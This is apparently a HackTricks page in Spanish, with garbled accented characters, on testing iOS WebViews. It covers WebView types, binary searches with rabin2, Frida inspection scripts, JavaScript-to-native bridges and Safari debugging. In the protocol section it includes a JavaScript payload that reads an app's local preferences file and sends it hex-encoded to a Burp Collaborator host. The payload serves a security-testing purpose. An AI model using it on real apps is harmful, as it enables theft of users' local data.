iOS WebViews
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
El c贸digo de esta p谩gina fue extra铆do de here. Consulta la p谩gina para m谩s detalles.
Tipos de WebViews
Los WebViews se utilizan dentro de las aplicaciones para mostrar contenido web de manera interactiva. Varios tipos de WebViews ofrecen diferentes funcionalidades y caracter铆sticas de seguridad para aplicaciones iOS. Aqu铆 hay un breve resumen:
-
UIWebView, que ya no se recomienda a partir de iOS 12 debido a su falta de soporte para deshabilitar JavaScript, lo que lo hace susceptible a inyecciones de scripts y ataques de Cross-Site Scripting (XSS).
-
WKWebView es la opci贸n preferida para incorporar contenido web en aplicaciones, ofreciendo un control mejorado sobre el contenido y caracter铆sticas de seguridad. JavaScript est谩 habilitado por defecto, pero se puede deshabilitar si es necesario. Tambi茅n admite caracter铆sticas para evitar que JavaScript abra ventanas autom谩ticamente y asegura que todo el contenido se cargue de manera segura. Adem谩s, la arquitectura de WKWebView minimiza el riesgo de corrupci贸n de memoria que afecte el proceso principal de la aplicaci贸n.
-
SFSafariViewController ofrece una experiencia de navegaci贸n web estandarizada dentro de las aplicaciones, reconocible por su dise帽o espec铆fico que incluye un campo de direcci贸n de solo lectura, botones de compartir y navegaci贸n, y un enlace directo para abrir contenido en Safari. A diferencia de WKWebView, JavaScript no se puede deshabilitar en SFSafariViewController, que tambi茅n comparte cookies y datos con Safari, manteniendo la privacidad del usuario desde la aplicaci贸n. Debe mostrarse de manera prominente de acuerdo con las pautas de la App Store.
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
Resumen de la Exploraci贸n de Configuraci贸n de WebViews
Descripci贸n General del An谩lisis Est谩tico
En el proceso de examinar las configuraciones de WebViews, se enfocan en dos tipos principales: UIWebView y WKWebView. Para identificar estos WebViews dentro de un binario, se utilizan comandos, buscando referencias de clase espec铆ficas y m茅todos de inicializaci贸n.
- Identificaci贸n de UIWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
Este comando ayuda a localizar instancias de UIWebView buscando cadenas de texto relacionadas con 茅l en el binario.
- Identificaci贸n de WKWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
De manera similar, para WKWebView, este comando busca en el binario cadenas de texto indicativas de su uso.
Adem谩s, para encontrar c贸mo se inicializa un WKWebView, se ejecuta el siguiente comando, dirigido a la firma del m茅todo relacionada con su inicializaci贸n:
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
Verificaci贸n de Configuraci贸n de JavaScript
Para WKWebView, se destaca que deshabilitar JavaScript es una buena pr谩ctica a menos que sea necesario. Se busca el binario compilado para confirmar que la propiedad javaScriptEnabled
est谩 configurada en false
, asegurando que JavaScript est茅 deshabilitado:
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
Verificaci贸n de Contenido Solo Seguro
WKWebView ofrece la capacidad de identificar problemas de contenido mixto, a diferencia de UIWebView. Esto se verifica utilizando la propiedad hasOnlySecureContent
para asegurar que todos los recursos de la p谩gina se carguen a trav茅s de conexiones seguras. La b煤squeda en el binario compilado se realiza de la siguiente manera:
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
Perspectivas de An谩lisis Din谩mico
El an谩lisis din谩mico implica inspeccionar el heap en busca de instancias de WebView y sus propiedades. Se utiliza un script llamado webviews_inspector.js
para este prop贸sito, dirigido a instancias de UIWebView
, WKWebView
y SFSafariViewController
. Registra informaci贸n sobre las instancias encontradas, incluyendo URLs y configuraciones relacionadas con JavaScript y contenido seguro.
La inspecci贸n del heap se puede realizar utilizando ObjC.choose()
para identificar instancias de WebView y verificar las propiedades javaScriptEnabled
y hasonlysecurecontent
.
ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})
ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})
El script se ejecuta con:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
Resultados Clave:
- Se localizan e inspeccionan con 茅xito instancias de WebViews.
- Se verifica la habilitaci贸n de JavaScript y la configuraci贸n de contenido seguro.
Este resumen encapsula los pasos y comandos cr铆ticos involucrados en el an谩lisis de configuraciones de WebView a trav茅s de enfoques est谩ticos y din谩micos, centr谩ndose en caracter铆sticas de seguridad como la habilitaci贸n de JavaScript y la detecci贸n de contenido mixto.
Manejo del Protocolo WebView
Manejar contenido en WebViews es un aspecto cr铆tico, especialmente al tratar con varios protocolos como http(s)://
, file://
y tel://
. Estos protocolos permiten la carga de contenido remoto y local dentro de las aplicaciones. Se enfatiza que al cargar contenido local, se deben tomar precauciones para evitar que los usuarios influyan en el nombre o la ruta del archivo y en la edici贸n del contenido mismo.
WebViews ofrecen diferentes m茅todos para la carga de contenido. Para UIWebView, ahora obsoleto, se utilizan m茅todos como loadHTMLString:baseURL:
y loadData:MIMEType:textEncodingName:baseURL:
. WKWebView, por otro lado, emplea loadHTMLString:baseURL:
, loadData:MIMEType:textEncodingName:baseURL:
y loadRequest:
para contenido web. M茅todos como pathForResource:ofType:
, URLForResource:withExtension:
y init(contentsOf:encoding:)
se utilizan t铆picamente para cargar archivos locales. El m茅todo loadFileURL:allowingReadAccessToURL:
es particularmente notable por su capacidad para cargar una URL o directorio espec铆fico en el WebView, exponiendo potencialmente datos sensibles si se especifica un directorio.
Para encontrar estos m茅todos en el c贸digo fuente o binario compilado, se pueden utilizar comandos como los siguientes:
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
En cuanto al acceso a archivos, UIWebView lo permite de manera universal, mientras que WKWebView introduce las configuraciones allowFileAccessFromFileURLs
y allowUniversalAccessFromFileURLs
para gestionar el acceso desde URLs de archivos, siendo ambas falsas por defecto.
Se proporciona un ejemplo de script de Frida para inspeccionar las configuraciones de WKWebView para ajustes de seguridad:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
Por 煤ltimo, un ejemplo de una carga 煤til de JavaScript destinada a exfiltrar archivos locales demuestra el potencial riesgo de seguridad asociado con WebViews mal configurados. Esta carga 煤til codifica el contenido de los archivos en formato hex antes de transmitirlos a un servidor, destacando la importancia de medidas de seguridad estrictas en las implementaciones de WebView.
String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)
M茅todos Nativos Expuestos a Trav茅s de WebViews
Comprendiendo las Interfaces Nativas de WebView en iOS
Desde iOS 7 en adelante, Apple proporcion贸 APIs para la comunicaci贸n entre JavaScript en un WebView y objetos nativos de Swift u Objective-C. Esta integraci贸n se facilita principalmente a trav茅s de dos m茅todos:
- JSContext: Una funci贸n de JavaScript se crea autom谩ticamente cuando un bloque de Swift u Objective-C se vincula a un identificador dentro de un
JSContext
. Esto permite una integraci贸n y comunicaci贸n sin problemas entre JavaScript y el c贸digo nativo. - JSExport Protocol: Al heredar el protocolo
JSExport
, las propiedades nativas, los m茅todos de instancia y los m茅todos de clase pueden ser expuestos a JavaScript. Esto significa que cualquier cambio realizado en el entorno de JavaScript se refleja en el entorno nativo, y viceversa. Sin embargo, es esencial asegurarse de que los datos sensibles no se expongan inadvertidamente a trav茅s de este m茅todo.
Accediendo a JSContext
en Objective-C
En Objective-C, el JSContext
para un UIWebView
se puede recuperar con la siguiente l铆nea de c贸digo:
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
Comunicaci贸n con WKWebView
Para WKWebView
, el acceso directo a JSContext
no est谩 disponible. En su lugar, se utiliza el paso de mensajes a trav茅s de la funci贸n postMessage
, lo que permite la comunicaci贸n de JavaScript a nativo. Los controladores para estos mensajes se configuran de la siguiente manera, permitiendo que JavaScript interact煤e con la aplicaci贸n nativa de manera segura:
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
Interacci贸n y Pruebas
JavaScript puede interactuar con la capa nativa definiendo un controlador de mensajes de script. Esto permite operaciones como invocar funciones nativas desde una p谩gina web:
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
Para capturar y manipular el resultado de una llamada a una funci贸n nativa, se puede anular la funci贸n de callback dentro del HTML:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>
El lado nativo maneja la llamada de JavaScript como se muestra en la clase JavaScriptBridgeMessageHandler
, donde el resultado de operaciones como multiplicar n煤meros se procesa y se env铆a de vuelta a JavaScript para su visualizaci贸n o manipulaci贸n adicional:
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
Depuraci贸n de iOS WebViews
(Tutorial basado en el de https://blog.vuplex.com/debugging-webviews)
Para depurar eficazmente el contenido web dentro de los webviews de iOS, se requiere una configuraci贸n espec铆fica que involucra las herramientas de desarrollo de Safari, debido a que los mensajes enviados a console.log()
no se muestran en los registros de Xcode. Aqu铆 hay una gu铆a simplificada, enfatizando los pasos y requisitos clave:
-
Preparaci贸n en el Dispositivo iOS: El Inspector Web de Safari debe ser activado en tu dispositivo iOS. Esto se hace yendo a Configuraci贸n > Safari > Avanzado, y habilitando el Inspector Web.
-
Preparaci贸n en el Dispositivo macOS: En tu m谩quina de desarrollo macOS, debes habilitar las herramientas de desarrollo dentro de Safari. Inicia Safari, accede a Safari > Preferencias > Avanzado, y selecciona la opci贸n para Mostrar men煤 de Desarrollo.
-
Conexi贸n y Depuraci贸n: Despu茅s de conectar tu dispositivo iOS a tu computadora macOS y lanzar tu aplicaci贸n, utiliza Safari en tu dispositivo macOS para seleccionar el webview que deseas depurar. Navega a Desarrollar en la barra de men煤 de Safari, pasa el cursor sobre el nombre de tu dispositivo iOS para ver una lista de instancias de webview, y selecciona la instancia que deseas inspeccionar. Se abrir谩 una nueva ventana del Inspector Web de Safari para este prop贸sito.
Sin embargo, ten en cuenta las limitaciones:
- La depuraci贸n con este m茅todo requiere un dispositivo macOS ya que se basa en Safari.
- Solo los webviews en aplicaciones cargadas en tu dispositivo a trav茅s de Xcode son elegibles para depuraci贸n. Los webviews en aplicaciones instaladas a trav茅s de la App Store o Apple Configurator no pueden ser depurados de esta manera.
Referencias
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
- https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.